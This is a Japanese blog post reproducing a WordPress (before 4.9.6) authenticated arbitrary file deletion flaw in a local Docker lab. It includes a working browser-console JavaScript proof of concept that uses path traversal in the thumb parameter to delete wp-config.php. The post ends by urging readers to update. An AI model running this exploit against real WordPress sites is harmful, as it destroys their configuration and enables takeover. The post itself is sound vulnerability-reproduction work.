WARNING: WordPress File Delete to Code Execution
で、動画付きで解説されている話
多分、
『editattachmentアクションの時のthumbパラメータがユーザー入力だけど、ノーチェックでidと結びつくようになってるので、結びつけてやれば、wordpressアプリの権限で触れるところ任意で削除出来るので、wp-config.phpとか削除するとwordpress初期化出来る。
投稿者権限以上でログイン出来るユーザーが攻撃者になりうる。』
って書いてある
環境構築
docker hubのwordpressのものを参考にdocker-compose.ymlを作成
version: '3.1'
services:
wordpress:
image: wordpress:4.9.6
ports:
- 9000:80
environment:
WORDPRESS_DB_PASSWORD: パスワード
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: パスワード
起動
docker-compose up
- ブラウザで、localhost:9000にアクセスして、wordpressをセットアップ
- セットアップが完了したら、投稿者権限の新規ユーザーを追加
- 追加した、投稿者権限のユーザーでログイン
再現確認
- PoCは、exploit-dbにあったものを少し変更して拝借
- Wordpress < 4.9.6 - (Authenticated) Arbitrary File Deletion
メディアから新規追加で、画像を追加(この時、ファイル名に日本語を含まないファイルをアップロードする事)
メディアの編集画面で、ブラウザの開発者ツールを立ち上げ、コンソールにスクリプトを流す
var nonce = document.getElementById("_wpnonce").value
var id = document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"
var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
var READYSTATE_COMPLETED = 4
if (this.readyState == READYSTATE_COMPLETED) {
var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
var data = "action=delete&_wpnonce=" + nonce
var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send(data)
}
}
xhr.send(data)
あとは、ブラウザ上で適当に遷移すれば、セットアップの最初の画面が出る
ファイル名に日本語を含まないファイルをアップロードする件
今回の構築環境のせいなのか、ファイルを削除すると変な状態にはなるものの、wp-config.phpが消えずにハマった
変な状態
以下のように(タイトルなし)というものが表示されるようになるし、wordpressの初期画面出ない
サーバーに入ると、ファイルも残っており消えてなさそう
結論
手軽に初期化が出来るものの、投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします。
とはいえ、アップデートすれば治るものですし、必ずアップデートをしましょう。